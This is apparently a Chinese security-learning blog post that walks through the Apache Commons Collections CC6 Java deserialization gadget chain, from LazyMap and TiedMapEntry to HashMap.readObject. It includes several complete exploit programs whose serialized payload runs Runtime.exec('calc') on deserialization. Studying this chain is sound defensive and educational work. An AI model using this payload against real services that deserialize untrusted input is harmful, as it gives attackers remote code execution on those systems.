cc6


CC6

CC6链其实就是URLDNS链的前半加上CC1链的后半。

思维导图

1.将ChainedTransformer传入并通过decorate()方法获取到LazyMap对象

链子出口依旧是

1
ChainedTransformer.transform()->InvokerTransformer.transform()->Runtime.exec()

然后我来找来到了LazyMap的get方法

image-20250911212446569

分析一下这个get

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public Object get(Object key) {
    // 1. 检查 key 是否存在于 Map 中
    if (map.containsKey(key) == false) {
        // 2. 如果 key 不存在,调用 factory.transform(key) 生成 value
        Object value = factory.transform(key);
        // 3. 将 (key, value) 存入 Map
        map.put(key, value);
        // 4. 返回新生成的 value
        return value;
    }
    // 5. 如果 key 已存在,直接返回对应的 value
    return map.get(key);
}

意思就是如果key不在Map中,则会自动生成一个值并存入key,否则就会返回已有的值,这里可以看到是根据factory.transform方法生成value的,如果能控制factory的值为ChainedTransformer,就可以实现命令执行,但是往上翻源码,发现factory是protected类型,不可控

1
    protected final Transformer factory;

但是发现factory是在LazyMap的构造函数中可赋值

image-20250911213036456

但是怎么调用?可以通过decorate()方法获取到

image-20250911213148569

所以现在的exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;

public class cc6 {
    public static void main(String[] args) {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        lazyMap.get("key");
    }
}

image-20250911214230884

2.利用TiedMapEntry类中的hashCode调用getValue()方法调用get

然后看谁调用了get方法,在TiedMapEntry类里找到了它的getValue()方法里调用了get:

image-20250911214827736

1
2
3
    public Object getValue() {
        return map.get(key);	//此处map如果是LazyMap,就可以完成链子
    }

但是发现map也是不可控的

1
private final Map map;

但是发现一个公共的方法可以控制map

1
2
3
4
5
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

那我们直接用反射去构造一个TiedMapEntry实例化对象,所以代码是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        tiedMapEntry.getValue();
    }
}

image-20250911222824915

好,接下怎么调用getvalue,这个好找,就在这TiedMapEntry有个hashCode调用了。

image-20250911224119979

显然,由于给key赋值了,这里的getKey与value都不会是null,即无条件调用getValue方法,所以直接触发这个方法就行了

1
由于TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        tiedMapEntry.hashCode();
    }
}

谁调用hashcode?

3.利用HashMaph中的hash调用hashcode

这一联想之前的URLDNS链,想到HashMap里有

image-20250912235627236

而这个key是在HashMap类的readObject方法来的(可以查看hash的调用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

序列化的时候可以用HashMap的put方法传key和value

image-20250913003552551

1
2
3
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

但是HashMap的put方法会提前调用hash方法,导致提前走完流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);

        Class A=Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Constructor constructor = A.getDeclaredConstructor(Map.class,Object.class);
        TiedMapEntry tiedMapEntry = (TiedMapEntry) constructor.newInstance(lazyMap,"key");
        map.put(tiedMapEntry, "value");//HashMap类是readObject入口。所以这个map就是HashMap new的对象
    }
}

image-20250913003835241

4.反射设置LazyMap的factory值防止put提前触发hashcode

由此知道put方法会调用hash函数导致提前调用hashCode方法,从而在序列化前就命令执行,在URLDNS链中我们是将 把hashCode字段设置为1,put之后再改成-1,让后序反序列化触发它。

这里一样,通过反射来修改put里的key,这里就是tiedMapEntry,而tiedMapEntry里放的LazyMap,所以我们只需要把LazyMap里的factory改成空就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候,把factory属性随便写个没用的Transformer

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空,就不会触发hash


        Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
        Field factory = lazyMapClass.getDeclaredField("factory");   //获取LazyMap对象的类中的factory属性
        factory.setAccessible(true);//因为factory是private的变量,所以需要设置
        factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer

        serialize(map);//在序列化的时候factory值又变成了chainedTransformer
        unserialize("cc6.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}

5.移除LazyMap中get的key

但是这里执行不了,原因在LazyMap中的get方法

1
2
3
4
5
6
7
8
public Object get(Object key) {
    if (map.containsKey(key) == false) {             //注意这里需要LazyMap的factory属性是空,这里我们后面再说。
        Object value = factory.transform(key);           //此处的factory如果是ChainedTransformer,就可以完成链子
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

image-20250913225926455

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以,我们需要在hashMap.put之后,把lazymap的key删除掉

1
lazymap.remove("key");
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候,把factory属性随便写个没用的Transformer

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空,就不会触发hash
        lazyMap.remove("key");


        Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
        Field factory = lazyMapClass.getDeclaredField("factory");   //获取LazyMap对象的类中的factory属性
        factory.setAccessible(true);//因为factory是private的变量,所以需要设置
        factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer

        serialize(map);//在序列化的时候factory值又变成了chainedTransformer
        unserialize("cc6.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}

image-20250913232046221

链子顺序是

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.hash()+
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

JAVA反序列化——CC6链 - Infernity’s Blog

Java反序列化CC6链

Java反序列化漏洞-CC6链分析 - CVE-柠檬i - 博客园

谢谢观看